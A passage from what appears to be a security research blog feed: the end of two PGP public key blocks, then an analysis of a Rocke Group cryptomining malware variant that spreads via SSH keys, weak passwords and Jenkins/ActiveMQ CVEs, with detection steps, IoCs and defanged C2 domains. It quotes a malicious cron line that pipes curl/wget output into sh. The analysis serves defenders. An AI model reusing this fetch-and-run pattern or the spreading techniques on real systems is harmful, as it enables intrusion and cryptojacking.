yC8CtagR0S53mNtmbS3A8INV/Gj6M7/7BZ2eVkbZRVEoQkhmr/lvJ/n4QhYcgre9
1iboJ75TorVEOH1B0Q/3IACBD/fEnSogjij8Vf/bdb4W/8LHpeV8bbtDzkzMfh7i
SxoF8y1kBl/YXrbs4mFcwgQ8KKqKkYkMp9p527LF/gglE54xMMXdp2WG65oh5jZz
0vzASRgwAI&amp;#43;K0LuN1&amp;#43;McUJwWtWQlcnQEEDlvbHVe1jKOrdqqf&amp;#43;BRxl2rNDU0P&amp;#43;u&amp;#43;
mtrn7vMinEja8k6O2N2RsL0TvLyGD&amp;#43;sAPKUZG7Q/Bg==
=gbms
-----END PGP PUBLIC KEY BLOCK-----&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Version 12&lt;span class="hx:absolute hx:-mt-20" id="version-12"&gt;&lt;/span&gt;
&lt;a href="#version-12" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGBm0jYBDAC83QCJbnqPtHUfazjzNEeNmHY2zUeV8tXaKUkFyeIG9QmSSZ4u
0Y&amp;#43;uNR3p5CkexQC0C6STIkDE43fYU92N&amp;#43;Olt7jFcYK718vPv6ieGSuuztJqnrOKX
9jY/22iRPYFNjcw&amp;#43;LPQzm4CXyD3gugfp3Jm1JO99y5D5PDbP6yVpG6Fm6TmzOXku
grLoWBLWBn5Z6BJAB1YYM35vJpjC22eY6uFF6fhAW7K8mZNUKYHGwZOfkK5F&amp;#43;27Y
lxiaOHjh0mjfisWWvcvlImd5dd7614Pu5Yl3PfH4p7fUZJsGofj&amp;#43;hyiZHd9luIM1
yc9TWSQBSeBKIFM9iU7a4i0vB4rbY355tYBckuCVyt4NNBnDO0/zgVOZkf/qjTm&amp;#43;
JUZlxQJ54Gs7aWueo/aWSaqCN/TIqD909coDbw&amp;#43;sUA1CojLsw&amp;#43;ghPJBBzB/sSjzA
OCvGOVn&amp;#43;TCr8hV8OBpONXRQFUO4do6VALE/tqBlMMy12Lq/DunM87Mrb9zpJGZyh
JkqGP05xdT9omIEAEQEAAbQnQnJpYW4gS3JlYnMgPGtyZWJzb25zZWN1cml0eUBn
bWFpbC5jb20&amp;#43;iQHUBBMBCgA&amp;#43;FiEEOQFTY4snpri84X9c/wQVl3dsa2QFAmBm0jYC
GwMFCQPCZwAFCwkIBwIGFQoJCAsCBBYCAwECHgECF4AACgkQ/wQVl3dsa2QgEQv&amp;#43;
Px8Vl1WxzlWWoZsAkmLsXZzPuudAAFWai97g89/D3&amp;#43;D8kxKAiqq2mam9YKx/Cimn
B4HwGhE7ildWfVcJUx63t30Vm8rMIg1M63PQJ&amp;#43;CSIIU8cNEsWSOr8RIcfCTcenDZ
ZdK761c1xNXypag/oToTdDTOCRlfeLFkw2fgcHVsxJoIH00MtAT1utqo7xl15kGk
0jodlv6mDp17E4JBcg2aT4HpzVUIgeDOzCi5b8QPj0X1iDes8DolYu1wHnNaVAXg
SNshR5v5VbrFXvKfyx7sRA8lxQn4HkmnOH18drG&amp;#43;gsE0msFoveqf2M5BCzItY2bI
wG&amp;#43;GQwUTAwciIh5AehbpKOqrk2m588PI11i0x8bc5z3/I3YZbWhdpyJAmNErE/Et
X5nSqVn2lDoooDA9AwE6fRr2oNNxDLE0yREt88cD2EE3/iweQbpeGBSneIFKGdW3
b8zQdJi30gAe7kVS3FFnYXqNaHNhKm/WvODzwRNLSAN6Z1KwJZ79Q3uh19vkl6vr
uQGNBGBm0jYBDACxBNtcNethMzVIig0BIQbrCJ4wVS01waB3WWe71s9RUbJn/LFd
pey/f0NQrMdoUJP75Do91cS6SFI956F7l5AMWAWTDrNkiCQTG8ptegdAJQ81qWAd
V0L2YH&amp;#43;8CNYmfmTOqh3L&amp;#43;cOya6yanNMMM1&amp;#43;c1zjQjCLWzOZog7tBm&amp;#43;1891Gwy8nT
m1jf&amp;#43;oETqUcVV&amp;#43;ePrGaaNLWOB&amp;#43;U69/q6XOScaV/HeQrYLE6MTsoiFgKNEirrDDzj
rd3bjFZzttD8Cuknt7rsOtZC393JHMSu4f2SPy2Wct1r77z2PxBIkKjTJS3Ax2Lf
3rZ3Yt08v1Bmjyxq&amp;#43;zXoIUuSwSNnAP7AJyBKaOtZ/BRjT4xYL9uf0LaIC/a840SB
B3f9N3YzfYgL6GeRib6vv6OrWRPjs/ld8kaj1/l6m2Ry&amp;#43;VIs/433AWMp6b0nQqnS
EMy/72RuSxQogRbgNnwjk6mIBpEyeTQ7mXHslxK5fJVAOPdOGIVAQziQ82BdA9Yw
92ha17TJ1nKz/x8AEQEAAYkBvAQYAQoAJhYhBDkBU2OLJ6a4vOF/XP8EFZd3bGtk
BQJgZtI2AhsMBQkDwmcAAAoJEP8EFZd3bGtkCZAL/ioNDjl54jiVARfIdqSZPS77
tkkB&amp;#43;dGSuJgeZ&amp;#43;60/1gDpGXaWEyx73Mfbp&amp;#43;DT80k2JQ86Cls9S5xuy95gECMo/JI
Jxc5gPdXEH&amp;#43;II&amp;#43;wmfVbQerf1cPmjlSliaRDczJKdO5R14i7IEnD56c&amp;#43;MYDqBvTvH
NAyjFqPrVXBUcqiuDva8PvUN&amp;#43;dcLGBYwGemlNHCt0L7kQ6TPjldjqSjyeUragJYO
Ak4lz&amp;#43;E4cl&amp;#43;V5xKWjFw81S2&amp;#43;sHVLUNmR4KaY5iyfSBSDgNDFW5xQrnClJBg0&amp;#43;4cv
QqDJRd4JJOYjBp/dLjmGeXmxuVyshGePUBYrOCsm1GTf3Razr&amp;#43;lgpn4OzW78MRVv
JFfcpGhafyTvZQrV7qa7Na8fjSLr&amp;#43;drbDDxm3WP2Tz9Un0tuDvayLhTU/AnWY2MT
v&amp;#43;LlwbUDmdrZx&amp;#43;VwMCj4ZwtYkVSqHUd1yfZ5s6I&amp;#43;yPcN6700Kw0dea628GEC&amp;#43;g9V
QE&amp;#43;GLOcciRHTBgzaL16trl40wZQ8iMpgnn/FEz&amp;#43;grw==
=6v1j
-----END PGP PUBLIC KEY BLOCK-----&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Rocke Group Actively Targeting the Cloud: Wants Your SSH Keys</title><link>https://research.intezer.com/blog/2021/04/rocke-group-actively-targeting-the-cloud-wants-your-ssh-keys/</link><pubDate>Tue, 06 Apr 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/04/rocke-group-actively-targeting-the-cloud-wants-your-ssh-keys/</guid><description>
&lt;h2&gt;New Malware Variant Exploits Production Environment&lt;span class="hx:absolute hx:-mt-20" id="new-malware-variant-exploits-production-environment"&gt;&lt;/span&gt;
&lt;a href="#new-malware-variant-exploits-production-environment" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Rocke Group is a Chinese-based threat actor most known for running
cryptojacking malware on Linux machines. The group has been
&lt;a href="https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html"target="_blank" rel="noopener"&gt;active since 2018&lt;/a&gt;
and continues to evolve by modifying its tools and techniques to stay evasive.
In 2019, we reported that Rocke Group was
&lt;a href="../../../2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/"&gt;competing&lt;/a&gt;
with Pacha Group for cryptomining positioning on Linux-based servers in the
cloud. We have found a
&lt;a href="https://analyze.intezer.com/files/fe27d4a8a5f299b0b25d10816e98cef2852af6dc3541bf25a77960b1573ca61d?utm_campaign=research-blog&amp;amp;utm_content=rocke-group-actively-targeting-the-cloud-wants-your-ssh-keys&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;new malware variant&lt;/a&gt;
developed by Rocke Group, that infects other machines in the network using
saved SSH keys and weak passwords. It also exploits vulnerabilities in popular
platforms and services such as Jenkins, Redis and ActiveMQ. Once the victim is
infected a
&lt;a href="https://analyze.intezer.com/files/398e3608455dbea2cba8e9944d9b43cbb0982b48b2882fe54adf937a7a62d9e2/sub/d10bf427-6cc9-41cb-bfae-7e12268f6f9e?utm_campaign=research-blog&amp;amp;utm_content=rocke-group-actively-targeting-the-cloud-wants-your-ssh-keys&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Monero cryptominer&lt;/a&gt;
is executed. Below we present our findings with instructions on how to check if
your system has been compromised, as well as how to protect your cloud
environments against future Rocke Group attacks.&lt;/p&gt;
&lt;h2&gt;Capabilities and Findings on Rocke Group Malware&lt;span class="hx:absolute hx:-mt-20" id="capabilities-and-findings-on-rocke-group-malware"&gt;&lt;/span&gt;
&lt;a href="#capabilities-and-findings-on-rocke-group-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware that is initially delivered to the victim&amp;rsquo;s server is packed with a
modified UPX which can make it harder for some Endpoint Detection and Response
(EDR) products to detect the malicious code. This threat contains a number of
modules that are stored in a compressed form inside the malware, and during the
execution the payloads are extracted and executed. Rocke Group uses a new
script that downloads malware from a hosting server and executes it. The
malware then uses public SSH keys, which are saved in a file called
&lt;code&gt;known_hosts&lt;/code&gt; on the victim&amp;rsquo;s Linux machine, to infect other machines on the
network. The malware archives persistence using a scheduled task in &lt;code&gt;crontab&lt;/code&gt;
and &lt;code&gt;bashrc&lt;/code&gt; files. It creates a service that controls the execution of the
malware and configures it to be executed on startup. The payload of the service
is extracted from within the Rocke Group sample. Next, the malware attempts to
spread in the network by brute forcing SSH, Redis and Jenkins with weak
passwords. Then, it exploits vulnerabilities. For Jenkins it uses two
vulnerabilities for executing code (CVE-2018-1000861, CVE-2019-1003000) and for
ActiveMQ it tries to do an arbitrary file writing (CVE-2016-3088). To hide the
activity of the malware, it implements an evasion technique that uses library
hijacking. This way the information retrieved by system commands is altered in
a way that hides resources used by the malware and its components. For
instance, running the &lt;code&gt;top&lt;/code&gt; command will not show the high CPU usage caused by
the cryptomining malware. One of the compressed modules is an XMRig Miner.
Before the miner is executed the dropper kills any other process that uses more
than 30% of the cloud server&amp;rsquo;s CPU, this way the cryptominer will have all of
the CPU for itself.&lt;/p&gt;
&lt;h2&gt;Detection and Response&lt;span class="hx:absolute hx:-mt-20" id="detection-and-response"&gt;&lt;/span&gt;
&lt;a href="#detection-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Detect if a machine in your system has been compromised by following all of
these steps:&lt;/p&gt;
&lt;p&gt;The malware creates files in the following directories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/local/sbin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/local/bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/libexec&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Check if there are suspicious files in these locations. This campaign is known
for using similar names to valid Linux services and file names such as
&lt;code&gt;kerberods&lt;/code&gt;, so pay attention to the files you see in these directories. In
other cases, it uses file names like: &lt;code&gt;6ff4ba5d0de4498&lt;/code&gt;. In addition, the
malware changes the timestamps of files created during the attack so that they
appear older. You should not rely on the creation/modification time of the
files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Remove the malicious files.&lt;/p&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1036/"target="_blank" rel="noopener"&gt;Masquerading (T1036)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check if there is a service that listens on port 61131 for incoming
connections. Use the command: &lt;code&gt;netstat -tupln&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Find the PID of the process and kill it. Run the following
command to get the PID:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;netstat -ltnp &lt;span class="p"&gt;|&lt;/span&gt; grep -w &lt;span class="s1"&gt;&amp;#39;:61131&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;and then run the following to kill the process:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo &lt;span class="nb"&gt;kill&lt;/span&gt; -9 &amp;lt;PID&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Check if you have a service called &lt;code&gt;sshservice.service&lt;/code&gt;. You can do this by
running: &lt;code&gt;systemctl status sshservice.service&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Stop and remove the service by running these commands:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl stop &lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; systemctl disable &lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; rm /etc/systemd/system/&lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; rm /etc/systemd/system/&lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; rm /usr/lib/systemd/system/&lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; rm /usr/lib/systemd/system/&lt;span class="o"&gt;[&lt;/span&gt;servicename&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; systemctl daemon-reload systemctl reset-failed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1543/002/"target="_blank" rel="noopener"&gt;Create System Process (T1543)&lt;/a&gt;
and &lt;a href="https://attack.mitre.org/techniques/T1036/"target="_blank" rel="noopener"&gt;Masquerading (T1036)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check if the cron jobs include commands in the following format:
&lt;code&gt;*/15 * * * * (curl -fsSL -m180 ||wget -q -T180 -O- )|sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Check the following location of scheduled jobs:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/spool/cron/root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/spool/cron/crontabs/root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/cron.d/root&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Delete these commands from the crontab.&lt;/p&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1053/"target="_blank" rel="noopener"&gt;Scheduled Task/Job (T1053)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check that &lt;code&gt;/etc/bashrc&lt;/code&gt; contains commands in the same format as the crontab
files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;: Delete the commands from the file.&lt;/p&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1546/004/"target="_blank" rel="noopener"&gt;Event Triggered Execution using .bashrc file (T1546)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This campaign uses DNS over HTTPs (DoH) to obtain the address of the C2
server using hard-coded domains that send back an encrypted DNS record.
Inspect your network traffic for anomalies in HTTPs packages. Check if your
machine tried to access one (or more) of the following domains:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Update.iap5u1rbety6vifaxsi9vovnc9jjay2l[.]com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cloudflare-dns[.]com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1572/"target="_blank" rel="noopener"&gt;Protocol Tunneling (T1572)&lt;/a&gt; and
&lt;a href="https://attack.mitre.org/techniques/T1573/"target="_blank" rel="noopener"&gt;Encrypted Channel (T1573)&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The malware tries to infect other machines in the network by brute forcing
weak passwords and exploiting vulnerabilities in Jenkins, Redis, SSH and
ActiveMQ. Follow all of the steps above for machines that have these
services.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MITRE Technique:
&lt;a href="https://attack.mitre.org/techniques/T1046/"target="_blank" rel="noopener"&gt;Network Service Scanning (T1046)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;TTPs now available in Intezer. Speed up malware analysis with relevant insights
to understand how malware behaves.&lt;/p&gt;
&lt;h2&gt;Be Proactive&lt;span class="hx:absolute hx:-mt-20" id="be-proactive"&gt;&lt;/span&gt;
&lt;a href="#be-proactive" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Use strong passwords for SSH, Jenkins and Redis services. It is also highly
recommended to use TLS authentication.&lt;/li&gt;
&lt;li&gt;Use different passwords and authentication keys for each machine in the
network.&lt;/li&gt;
&lt;li&gt;Make sure that your Jenkins and ActiveMQ services have the latest updates.&lt;/li&gt;
&lt;li&gt;Restrict access to services and machines, and give only the required
permissions for each user.&lt;/li&gt;
&lt;li&gt;Filter network traffic to untrusted or known bad domains.&lt;/li&gt;
&lt;li&gt;Apply detection of anomalies in the networks to detect suspicious
communication that digresses from the usual traffic.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Runtime Protection is a Must&lt;span class="hx:absolute hx:-mt-20" id="runtime-protection-is-a-must"&gt;&lt;/span&gt;
&lt;a href="#runtime-protection-is-a-must" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This attack is sophisticated in that it implements evasion techniques making
detection much harder. It also spreads to other services and machines on the
network making it harder to respond to. Runtime protection gives you immediate
visibility over all code running in your systems and alerts you whenever
unauthorized code is executed. So, if Rocke Group attacks an environment with
runtime protection, the user would immediately get an alert on all infected
machines with the ability to terminate the malicious processes. While there are
dozens of cloud attack vectors that threat actors can utilize, such as software
vulnerabilities and misconfigurations, eventually all attackers must run code
or commands in the production environment to conduct any damage. Consider that
it&amp;rsquo;s not realistic to be able to close all attack vectors. Not only does it
take time to fix vulnerabilities, but there are always attack vectors that are
practically impossible to prevent such as supply chain or unknown
vulnerabilities. Recent attacks have shown that Linux cryptominers and other
threats will find their way into the production environment no matter how hard
you work to reduce the attack surface. Runtime protection is a necessary last
line of defense as actors like Rocke Group remain active.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thanks to Joakim Kennedy for contributing to this post.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Dropper Script&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;f947e69f9f8d113fb9fba3e795827110ee17feb310b54a7f7b6672a5386a3de2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Malware&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;fe27d4a8a5f299b0b25d10816e98cef2852af6dc3541bf25a77960b1573ca61d&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Mining Pool&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;minexmr[.]com pool&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;XMRig Miner&lt;/p&gt;
